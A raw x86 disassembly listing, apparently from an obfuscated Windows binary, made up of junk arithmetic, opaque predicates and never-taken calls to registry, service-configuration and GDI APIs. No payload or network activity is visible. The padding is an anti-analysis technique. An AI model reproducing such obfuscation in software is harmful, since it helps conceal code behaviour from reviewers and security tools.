and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0xea8]
sub eax, 0x9c93
mov dword [ebp - 0x20ec], eax
jmp 0x481758
jmp 0x48171e
jmp 0x4816da
mov dword [ebp - 0x20], 0xc13fe66
mov dword [ebp - 0x7c8], 0xf5379a1d
mov dword [ebp - 0xf08], 1
mov dword [ebp - 0x24e0], 0x1734
mov dword [ebp - 0x38], 0
jmp 0x481877
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x48188d
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xb2c], 0
jmp 0x481870
mov dword [ebp - 0x38], 0
jmp 0x48189d
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x4818b3
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2694], 1
jmp 0x481896
mov dword [ebp - 0x38], 0
jmp 0x4818c3
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x4818d9
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2654], 5
jmp 0x4818bc
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
jmp 0x4818f0
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x481f48
mov dword [ebp - 0x394], 1
mov dword [ebp - 0x9b8], 0
mov dword [ebp - 0x39c], 0x320ba2c
mov dword [ebp - 0x7c0], 0
jmp 0x481931
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 3
jge 0x48194d
mov eax, dword [ebp - 0x7c0]
mov dword [ebp + eax*4 - 0x1e28], 0xffffffff
jmp 0x481924
mov byte [ebp - 0x405], 0
movzx eax, byte [ebp - 0x405]
test eax, eax
je 0x481975
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
mov eax, 0xbfad0d72
test eax, eax
je 0x4819a5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e28]
mov ecx, dword [ebp - 0x20]
lea eax, [eax + ecx - 0xffff]
test eax, eax
je 0x4819a5
mov dword [ebp - 0xeb0], 1
jmp 0x4819ac
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xeb0]
je 0x4819c3
mov dword [ebp - 0xeb8], 1
jmp 0x4819ca
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xeb8], eax
je 0x4819e1
mov dword [ebp - 0xec0], 1
jmp 0x4819e8
and dword [ebp - 0xec0], 0
cmp dword [ebp - 0xec0], 0x74f0e4f
jle 0x481a00
mov dword [ebp - 0xec8], 1
jmp 0x481a07
and dword [ebp - 0xec8], 0
cmp dword [ebp - 0xec8], 0x77fe
jle 0x481a1f
mov dword [ebp - 0xed0], 1
jmp 0x481a26
and dword [ebp - 0xed0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e28]
cmp dword [ebp - 0xed0], eax
je 0x481a4d
mov eax, 0xfff6
test eax, eax
jne 0x481a4d
and dword [ebp - 0xed8], 0
jmp 0x481a57
mov dword [ebp - 0xed8], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xed8], eax
jle 0x481a6e
mov dword [ebp - 0x998], 1
jmp 0x481a75
and dword [ebp - 0x998], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x998]
mov dword [ebp + eax - 0x2694], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x998], eax
jge 0x481a9f
mov dword [ebp - 0x9a0], 1
jmp 0x481aa6
and dword [ebp - 0x9a0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x9a0]
mov dword [ebp + eax - 0x1e28], ecx
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x2de0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2a18], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2694], 0x40c88307
jle 0x481af7
mov dword [ebp - 0xee0], 1
jmp 0x481afe
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0xee0]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x9b8]
cmp dword [ebp - 0x7c8], eax
jle 0x481b24
mov dword [ebp - 0xb50], 1
jmp 0x481b2b
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0x9b8]
cmp dword [ebp - 0xb50], eax
jle 0x481b45
mov dword [ebp - 0xef8], 1
jmp 0x481b4c
and dword [ebp - 0xef8], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb2c]
mov dword [ebp - 0xef0], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xef0]
mov dword [ebp + eax*4 - 0xb2c], ecx
mov eax, dword [ebp - 0xef0]
cmp eax, dword [ebp - 0xef8]
jge 0x481b86
mov dword [ebp - 0xf00], 1
jmp 0x481b8d
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0xf00]
mov dword [ebp - 0xf08], eax
cmp dword [ebp - 0xf08], 0
jne 0x481bb2
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x481bb2
and dword [ebp - 0xf10], 0
jmp 0x481bbc
mov dword [ebp - 0xf10], 1
mov eax, 0x3ccd
sub eax, dword [ebp - 0xf10]
je 0x481bdc
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x481bdc
mov dword [ebp - 0xf18], 1
jmp 0x481be3
and dword [ebp - 0xf18], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf18]
mov dword [ebp + eax - 0x2654], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e28]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x39c], eax
je 0x481dd5
mov dword [ebp - 0xf38], 0xffffffff
mov dword [ebp - 0x8dc], 0
jmp 0x481c3b
mov eax, dword [ebp - 0x8dc]
inc eax
mov dword [ebp - 0x8dc], eax
cmp dword [ebp - 0x8dc], 1
jge 0x481c57
mov eax, dword [ebp - 0x8dc]
mov dword [ebp + eax*4 - 0x9a8], 0xd742
jmp 0x481c2e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a8]
mov dword [ebp - 0x2e84], eax
push 4
pop eax
imul eax, eax, 0
push 0xfffffffffffffff9
pop ecx
sub ecx, dword [ebp + eax - 0x9a8]
mov dword [ebp - 0xf20], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf20]
mov dword [ebp + eax - 0xb2c], ecx
cmp dword [ebp - 0xf20], 0
jne 0x481cac
push 7
pop eax
test eax, eax
jne 0x481cac
and dword [ebp - 0xf28], 0
jmp 0x481cb6
mov dword [ebp - 0xf28], 1
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0xf28]
jle 0x481cd0
mov dword [ebp - 0xf30], 1
jmp 0x481cd7
and dword [ebp - 0xf30], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a8]
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0x39c]
imul eax, dword [ebp - 0xf30]
cmp dword [ebp - 0xf38], eax
jge 0x481d0b
mov dword [ebp - 0xf40], 1
jmp 0x481d12
and dword [ebp - 0xf40], 0
mov eax, dword [ebp - 0x24e0]
cmp eax, dword [ebp - 0xf40]
jge 0x481d2c
mov dword [ebp - 0xf48], 1
jmp 0x481d33
and dword [ebp - 0xf48], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf48]
mov dword [ebp + eax - 0x1e28], ecx
mov dword [ebp - 0x394], 6
jmp 0x481d5f
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0xb
je 0x481dd0
mov dword [ebp - 0x20f4], 0x3bbe7568
mov dword [ebp - 0x39c], 0xffffffe9
jmp 0x481d8b
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0xfffffff7
jle 0x481dce
mov byte [ebp - 0x2dc], 0
movzx eax, byte [ebp - 0x2dc]
test eax, eax
je 0x481dc1
push 0x2da
push 0
push 0x1b0d
push 0x1626
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [ebp - 0x20f4], 0
je 0x481dcc
jmp 0x481d7e
jmp 0x481d7e
jmp 0x481d52
jmp 0x481f43
mov dword [ebp - 0x22fc], 1
mov dword [ebp - 0x20fc], 0x3fd5b128
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1e28], 0x9499
jge 0x481e18
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb2c], 0
je 0x481e18
mov dword [ebp - 0xf50], 1
jmp 0x481e1f
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0x22fc]
cmp dword [ebp - 0xf50], eax
jl 0x481e39
mov dword [ebp - 0x9b0], 1
jmp 0x481e40
and dword [ebp - 0x9b0], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x9b0]
mov dword [ebp + eax - 0x2694], ecx
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0
jne 0x481e81
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2694], 0
jne 0x481e81
and dword [ebp - 0xf58], 0
jmp 0x481e8b
mov dword [ebp - 0xf58], 1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb2c]
sub eax, dword [ebp - 0xf58]
je 0x481ea9
mov dword [ebp - 0xf60], 1
jmp 0x481eb0
and dword [ebp - 0xf60], 0
cmp dword [ebp - 0xf60], 0x46fe
jg 0x481ec8
mov dword [ebp - 0xf68], 1
jmp 0x481ecf
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0x20fc]
imul eax, dword [ebp - 0xf68]
cmp eax, 0xebeaaf72
jbe 0x481eef
mov dword [ebp - 0xf70], 1
jmp 0x481ef6
and dword [ebp - 0xf70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2654]
cmp eax, dword [ebp - 0xf70]
jle 0x481f29
mov eax, 0xdd75
test eax, eax
je 0x481f29
cmp dword [ebp - 0x9b8], 0
je 0x481f29
mov dword [ebp - 0xf78], 1
jmp 0x481f30
and dword [ebp - 0xf78], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf78]
mov dword [ebp + eax - 0xb2c], ecx
jmp 0x4818e9
mov dword [ebp - 0x2a20], 0
mov dword [ebp - 0x4d0], 0xfffffffb
mov dword [ebp - 0x884], 0
jmp 0x481f75
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 1
jge 0x481f91
mov eax, dword [ebp - 0x884]
mov dword [ebp + eax*4 - 0x3a4], 1
jmp 0x481f68
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a4]
mov dword [ebp - 0xf80], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf80]
mov dword [ebp + eax - 0x3a4], ecx
cmp dword [ebp - 0xf80], 0
jne 0x482055
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3a4]
cmp dword [ebp + eax - 0x3a4], ecx
jl 0x481fec
mov dword [ebp - 0xf88], 1
jmp 0x481ff3
and dword [ebp - 0xf88], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3a4]
cmp dword [ebp + eax - 0x3a4], ecx
jl 0x48201b
mov dword [ebp - 0xf90], 1
jmp 0x482022
and dword [ebp - 0xf90], 0
mov eax, dword [ebp - 0xf88]
imul eax, dword [ebp - 0xf90]
test eax, eax
jne 0x482055
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a4], 0
jne 0x482055
mov eax, 0xf3617394
test eax, eax
jne 0x482055
and dword [ebp - 0xf98], 0
jmp 0x48205f
mov dword [ebp - 0xf98], 1
mov eax, dword [ebp - 0xf98]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4d0], 0
jmp 0x482084
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 1
jne 0x4820d6
mov byte [ebp - 0x3e0], 0
movzx eax, byte [ebp - 0x3e0]
test eax, eax
je 0x4820b8
push 0x110
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov byte [ebp - 0x3f4], 0
movzx eax, byte [ebp - 0x3f4]
test eax, eax
je 0x4820d4
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x482077
mov dword [ebp - 0x1b0], 0xffffffff
mov dword [ebp - 0xe8], 0xec58f553
mov dword [ebp - 0xfe0], 0x9b4af7bd
mov dword [ebp - 0x1f8], 0xfffffff7
mov dword [ebp - 0x4d8], 0x6717b38e
mov dword [ebp - 0x7d0], 0
jmp 0x482121
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 2
jge 0x48213d
mov eax, dword [ebp - 0x7d0]
mov dword [ebp + eax*4 - 0x2280], 0x43836745
jmp 0x482114
cmp dword [ebp - 0x1b0], 0
je 0x48215b
cmp dword [ebp - 0x1b0], 0
je 0x48215b
mov dword [ebp - 0xfc0], 1
jmp 0x482162
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0xfa0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xfa0]
mov dword [ebp + eax - 0x2280], ecx
cmp dword [ebp - 0xfa0], 0
jne 0x4821a3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2280], 0
jne 0x4821a3
and dword [ebp - 0xfa8], 0
jmp 0x4821ad
mov dword [ebp - 0xfa8], 1
mov eax, dword [ebp - 0x1b0]
cmp eax, dword [ebp - 0xfa8]
jle 0x4821d7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2280], 0
je 0x4821d7
mov dword [ebp - 0x23e4], 1
jmp 0x4821de
and dword [ebp - 0x23e4], 0
push 5
pop eax
cmp eax, 0xe2db
jbe 0x4821f4
mov dword [ebp - 0xfb0], 1
jmp 0x4821fb
and dword [ebp - 0xfb0], 0
cmp dword [ebp - 0xfb0], 0
jne 0x482210
mov dword [ebp - 0xfb8], 1
jmp 0x482217
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0xfb8]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x2df0], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x2a28], eax
mov eax, dword [ebp - 0xfe0]
mov dword [ebp - 0x2e8c], eax
mov eax, dword [ebp - 0xfc0]
sub eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0x1f8]
jge 0x482267
mov dword [ebp - 0xfc8], 1
jmp 0x48226e
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0xfc8], eax
jge 0x482288
mov dword [ebp - 0xfd0], 1
jmp 0x48228f
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0xfd0], eax
jge 0x4822a9
mov dword [ebp - 0xfd8], 1
jmp 0x4822b0
and dword [ebp - 0xfd8], 0
imul eax, dword [ebp - 0xfd8], 0xfffffffe
cmp eax, 0x36ae3d47
jne 0x4822ca
mov dword [ebp - 0xfe8], 1
jmp 0x4822d1
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe0]
add eax, dword [ebp - 0xfe8]
cmp eax, dword [ebp - 0x1f8]
jle 0x4822f1
mov dword [ebp - 0xff0], 1
jmp 0x4822f8
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0x4d8]
cmp dword [ebp - 0xff0], eax
jne 0x482312
mov dword [ebp - 0xff8], 1
jmp 0x482319
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0x1f8]
imul eax, dword [ebp - 0xff8]
test eax, eax
je 0x482460
mov dword [ebp - 0x90c], 0
jmp 0x482347
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 2
jge 0x482363
mov eax, dword [ebp - 0x90c]
mov dword [ebp + eax*4 - 0x2b28], 0x1807
jmp 0x48233a
mov dword [ebp - 0x1b0], 0xd
jmp 0x48237c
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x37
jne 0x48245e
mov dword [ebp - 0x2304], 0x1f64db2a
mov dword [ebp - 0x4d8], 0
jmp 0x4823ac
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x10
jne 0x482446
mov dword [ebp - 0x2104], 0xfffffffc
mov dword [ebp - 0x1f8], 0
jmp 0x4823dc
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jg 0x482433
mov dword [ebp - 0xe8], 1
jmp 0x4823fe
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x482431
mov byte [ebp - 0x2e0], 0
movzx eax, byte [ebp - 0x2e0]
test eax, eax
je 0x48242f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
jmp 0x4823f1
jmp 0x4823cf
cmp dword [ebp - 0x2104], 0
je 0x482441
jmp 0x48239f
jmp 0x48239f
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2304]
mov dword [ebp + eax - 0x2b28], ecx
jmp 0x48236f
jmp 0x4824db
mov dword [ebp - 0x210c], 0
mov dword [ebp - 0x1000], 0
mov dword [ebp - 0xe8], 0xffffffff
jmp 0x48248d
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xfffffff3
jg 0x4824db
mov dword [ebp - 0x1010], 0x48c0c84a
mov eax, dword [ebp - 0x1010]
mov dword [ebp - 0x1000], eax
mov eax, dword [ebp - 0x1000]
cmp dword [ebp - 0x210c], eax
jne 0x4824c6
mov dword [ebp - 0x1008], 1
jmp 0x4824cd
and dword [ebp - 0x1008], 0
mov eax, dword [ebp - 0x1008]
mov dword [ebp - 0x1010], eax
jmp 0x482480
mov dword [ebp - 0x2454], 0
mov dword [ebp - 0x230c], 1
mov dword [ebp - 0x1018], 0xefa9d19a
mov dword [ebp - 0x2a30], 0xfff7
cmp dword [ebp - 0x2454], 0
je 0x482524
mov dword [ebp - 0x2114], 0xa12b57e8
mov eax, dword [ebp - 0x2114]
mov dword [ebp - 0x230c], eax
jmp 0x482547
mov byte [ebp - 0x3e2], 0
movzx eax, byte [ebp - 0x3e2]
test eax, eax
je 0x482547
push 0
push 0xe2b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov eax, dword [ebp - 0x1018]
dec eax
mov dword [ebp - 0x1018], eax
mov dword [ebp - 0x134], 0
jmp 0x48256d
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jge 0x482589
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x2b34], 0
jmp 0x482560
mov dword [ebp - 0xc0], 4
mov dword [ebp - 0x23f4], 0x4d4e2095
mov dword [ebp - 0x1b8], 0
jmp 0x4825b6
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jge 0x4825d2
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0xb4c], 0xfffffffe
jmp 0x4825a9
mov dword [ebp - 0x1b8], 0
jmp 0x4825eb
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 1
jge 0x482607
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x1040], 0x9a023703
jmp 0x4825de
mov dword [ebp - 0xc0], 0
jmp 0x482620
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jg 0x4828a7
mov dword [ebp - 0x1058], 0x9034e105
mov dword [ebp - 0x1070], 0xf9e6a012
mov dword [ebp - 0x7d8], 0
jmp 0x48265a
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 3
jge 0x482676
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0x2dac], 0xd1cb6a7f
jmp 0x48264d
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2e00], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4c]
mov dword [ebp - 0x2a38], eax
mov eax, 0xf08664a1
cmp eax, 1
jbe 0x4826ab
mov dword [ebp - 0x1020], 1
jmp 0x4826b2
and dword [ebp - 0x1020], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb4c]
cmp dword [ebp - 0x1020], eax
jg 0x4826d3
mov dword [ebp - 0x1028], 1
jmp 0x4826da
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0xc0]
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x1028]
sub edx, dword [ebp + ecx - 0x2dac]
push 4
pop ecx
shl ecx, 0
imul edx, dword [ebp + ecx - 0xb4c]
cmp dword [ebp + eax*4 - 0xb4c], edx
jne 0x482716
mov dword [ebp - 0x9c0], 1
jmp 0x48271d
and dword [ebp - 0x9c0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9c0]
mov dword [ebp + eax - 0x2dac], ecx
cmp dword [ebp - 0x9c0], 0
jne 0x48274b
cmp dword [ebp - 0xc0], 0
jne 0x48274b
and dword [ebp - 0x1030], 0
jmp 0x482755
mov dword [ebp - 0x1030], 1
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x1030], eax
jne 0x48276f
mov dword [ebp - 0x211c], 1
jmp 0x482776
and dword [ebp - 0x211c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb4c]
mov dword [ebp - 0x2e94], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb4c], 1
jne 0x4827a4
mov dword [ebp - 0x1038], 1
jmp 0x4827ab
and dword [ebp - 0x1038], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1038]
mov dword [ebp + eax - 0x1040], ecx
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xb4c]
mov dword [ebp - 0x2a40], eax
mov eax, dword [ebp - 0x1058]
mov dword [ebp - 0x2e10], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2a48], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xb4c]
mov dword [ebp - 0x2e9c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1040], 0xd0d7276c
je 0x48281b
mov dword [ebp - 0x1048], 1
jmp 0x482822
and dword [ebp - 0x1048], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xb4c]
cmp eax, dword [ebp - 0x1048]
je 0x482843
mov dword [ebp - 0x1050], 1
jmp 0x48284a
and dword [ebp - 0x1050], 0
cmp dword [ebp - 0x1050], 0x2b752bf3
je 0x482862
mov dword [ebp - 0x1060], 1
jmp 0x482869
and dword [ebp - 0x1060], 0
mov eax, dword [ebp - 0x1058]
cmp dword [ebp - 0x1060], eax
jle 0x482883
mov dword [ebp - 0x1068], 1
jmp 0x48288a
and dword [ebp - 0x1068], 0
mov eax, dword [ebp - 0x1068]
mov dword [ebp - 0x1070], eax
mov eax, dword [ebp - 0x1070]
mov dword [ebp - 0x23f4], eax
jmp 0x482613
mov byte [ebp - 0x2e2], 0
movzx eax, byte [ebp - 0x2e2]
test eax, eax
je 0x4828c3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x134], 0
jmp 0x4828dc
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 4
jge 0x4828f8
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x30d0], 0xe630
jmp 0x4828cf
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x88c], 0
jmp 0x48291b
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 3
jge 0x482937
mov eax, dword [ebp - 0x88c]
mov dword [ebp + eax*4 - 0x1e40], 0x7555b7ce
jmp 0x48290e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1e40], 0
jne 0x482952
mov dword [ebp - 0x2124], 1
jmp 0x482959
and dword [ebp - 0x2124], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1e40]
cmp dword [ebp + eax - 0x1e40], ecx
jge 0x482980
mov dword [ebp - 0x1078], 1
jmp 0x482987
and dword [ebp - 0x1078], 0
cmp dword [ebp - 0x1078], 0xfa5f9c71
ja 0x48299f
mov dword [ebp - 0x1080], 1
jmp 0x4829a6
and dword [ebp - 0x1080], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e40]
cmp dword [ebp - 0x1080], eax
jge 0x4829c6
mov dword [ebp - 0x1088], 1
jmp 0x4829cd
and dword [ebp - 0x1088], 0
cmp dword [ebp - 0x1088], 0xd3e
jl 0x4829e5
mov dword [ebp - 0x1090], 1
jmp 0x4829ec
and dword [ebp - 0x1090], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e40]
cmp eax, dword [ebp - 0x1090]
jle 0x482a0c
mov dword [ebp - 0x1098], 1
jmp 0x482a13
and dword [ebp - 0x1098], 0
imul eax, dword [ebp - 0x1098], 0x64ba
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x2a50], eax
xor eax, eax
jne 0x482a4c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1e40], 0
jne 0x482a4c
and dword [ebp - 0x10a0], 0
jmp 0x482a56
mov dword [ebp - 0x10a0], 1
cmp dword [ebp - 0x10a0], 0
je 0x482b01
mov dword [ebp - 0x10c], 0xffffffea
jmp 0x482a7c
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x1a
jl 0x482afc
mov dword [ebp - 0x7e0], 6
mov dword [ebp - 0x7e0], 0xfffffff8
jmp 0x482aa8
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0xc
jle 0x482af7
mov byte [ebp - 0x3fe], 0
movzx eax, byte [ebp - 0x3fe]
test eax, eax
je 0x482af5
push 0x25d8
push 0xb63
push 0x249
push 0x1afb
push 0x1f32
push 0x251f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x482a9b
jmp 0x482a6f
jmp 0x482c01
mov dword [ebp - 0x10c], 2
jmp 0x482b1a
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x482c01
mov dword [ebp - 0x8e4], 0xffffffff
mov byte [ebp - 0x2e4], 0
movzx eax, byte [ebp - 0x2e4]
test eax, eax
je 0x482b68
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x136e
push 0x5b1
push 0xe6c
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x8e4], 2
jmp 0x482b81
mov eax, dword [ebp - 0x8e4]
dec eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0
jl 0x482bfc
mov dword [ebp - 0x7e8], 0
jmp 0x482ba3
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 3
jge 0x482bbf
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x3158], 0
jmp 0x482b96
mov byte [ebp - 0x3e4], 0
movzx eax, byte [ebp - 0x3e4]
test eax, eax
je 0x482be7
push 0
push 0
push 0x1e20
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 4
pop eax
shl eax, 1
